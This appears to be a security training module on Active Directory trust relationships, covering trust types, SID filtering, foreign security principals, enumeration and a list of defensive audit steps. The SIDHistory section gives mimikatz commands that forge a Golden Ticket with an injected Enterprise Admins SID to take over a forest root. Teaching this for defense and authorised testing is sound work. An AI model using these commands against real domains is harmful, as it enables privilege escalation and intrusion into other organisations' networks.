Module 7 · Trusts — Legacy Merger Paths

Last updated: April 29, 2026

AD trusts let a user in one domain authenticate to resources in another. They come in many flavors — parent/child, tree, external, forest, realm. Each has different SID filtering behavior. Each has different attack surfaces. Many enterprises have trusts they forgot exist, left over from mergers, vendor integrations, or legacy architectures. Those forgotten trusts are often the attack path.

Why trusts are risky

A trust lets users from the trusted domain authenticate against the trusting domain. The default trust behavior:

• Transitive: if A trusts B and B trusts C, does A trust C? Varies by trust type.
• Bidirectional: some trusts go both ways; some one-way.
• SID filtering: whether SIDs from trusted domain are filtered at boundary. Without filtering, SIDHistory attacks work.
• Selective authentication: whether all users from trusted domain are accepted vs. specific ones.

Default trust creation doesn’t always enable SID filtering. Mergers often result in trusts configured quickly “to make things work” without full security review. Years later, the trust remains with original permissive settings.

Trust types

• Parent-Child: automatic within a forest. Always transitive, bidirectional, no SID filter (by design — intra-forest).
• Tree: between roots in same forest. Same as parent-child.
• Forest Trust: between two forests. SID filtering enabled by default since 2003. Often disabled post-merger for cross-forest access needs.
• External: between domains in different forests. Non-transitive. SID filtering default.
• Shortcut: within forest; optimize auth path. Intra-forest rules.
• Realm: to non-Windows Kerberos (e.g., MIT Kerberos). Rare.

SIDHistory attack (enabled by disabled SID filtering)

When SID filtering is off on a trust, the Privileged Attribute Certificate (PAC) in the Kerberos ticket can contain SIDs from the trusted domain. Attacker who compromises trusted domain → forges Golden Ticket with trusting domain’s Domain Admins SID in SIDHistory → authenticated as DA in trusting domain.

# Attacker has Domain Admin in CHILD.CORP.LOCAL (child domain)
# Wants to compromise CORP.LOCAL (parent/forest root)

# Standard Golden Ticket in child
mimikatz # kerberos::golden /domain:child.corp.local /sid:S-1-5-21-CHILD /rc4:KRBTGT_HASH /user:admin

# SIDHistory trick: inject SID of Enterprise Admins (in root domain)
mimikatz # kerberos::golden /domain:child.corp.local /sid:S-1-5-21-CHILD \
    /sids:S-1-5-21-CORP-519 /rc4:KRBTGT_HASH /user:admin /ptt
# S-1-5-21-CORP-519 = Enterprise Admins of forest root

# Now authenticated to anything in the forest as EA
# Works because intra-forest trust doesn't SID-filter by default

Forest trusts between separate forests default to SID filtering → this attack doesn’t work. Intra-forest (parent-child) doesn’t filter → attack works unless explicitly configured.

Foreign security principals abuse

When a user from trusted domain is granted access in trusting domain, a foreign-security-principal object is created. Common grants:

• “Everyone from Parent Domain can log onto these servers”
• “This group from Partner Forest can access file shares”
• Application-specific ACLs granted during merger integration

Audit these. Trust relationships often carry permissions that long outlived their business justification.

Enumerating trusts

# From any authenticated user
nltest /domain_trusts /all_trusts

# With trust type details
Get-DomainTrust -API

# In BloodHound
MATCH (d:Domain) RETURN d
MATCH p=(d1:Domain)-[r:TrustedBy]->(d2:Domain) RETURN p

# Across-forest trusts are paths to be aware of
# Check which ones have SIDHistory / TGTDelegation / Forest / etc.

Real-world incidents

• Sony Pictures (2014): Attackers moved across multiple domains/forests via trust relationships after initial compromise. Legacy trust configurations enabled the spread.
• Public red team retrospectives: Cross-forest escalation via SIDHistory + krbtgt Golden Ticket consistently reported.
• Corporate mergers: Recent-merger environments have trust relationships set up quickly to enable business operations; security review often lags. Attackers exploit this window.

Cross-forest attacks in hybrid AD

Post-merger patterns creating attack surface:

• Forest A trusts Forest B for user-acquisition purposes
• Forest B’s AD has different hygiene than Forest A
• Attacker compromises weaker Forest B, pivots to Forest A via trust
• Forest A’s defenders don’t monitor Forest B’s authentication patterns

What we find

• Trusts with SID filtering disabled (especially post-merger)
• Unused trusts never removed
• Forest trusts with TGTDelegation enabled
• Foreign security principals with unnecessary permissions
• Trusts to defunct partner domains or acquired companies (years after integration)
• Non-transitive trusts configured as transitive
• Trust without selective authentication (all users accepted)

Defenses

1. Audit all trusts quarterly. Inventory: type, direction, SID filtering, TGTDelegation, last-used activity.
2. Enable SID filtering on all forest trusts unless business requirement explicitly documents need (and even then, reconsider).
3. Enable selective authentication for non-critical trusts.
4. Remove unused trusts. Decommissioned partner? Remove the trust.
5. Disable TGT delegation across trusts.
6. Audit foreign security principals — remove stale permissions.
7. Monitor cross-forest authentication events — Windows Security Event 4768/4769 with cross-domain references.
8. For hybrid AD (Entra Connect): separate consideration — covered in Hybrid AD module.

Mindset takeaway

Every trust is a trust statement. Every trust statement should be reviewed. Many enterprises have trust relationships whose business justification ended years ago but whose presence enables attacks today. Audit + prune regularly.

For pentesters: enumerating trusts early in engagement often reveals paths into adjacent environments. Sometimes the target domain is hardened but the trusted-for-compatibility domain is weak. For defenders: every trust should have an owner who can articulate its current purpose. Trusts without owners should be removed.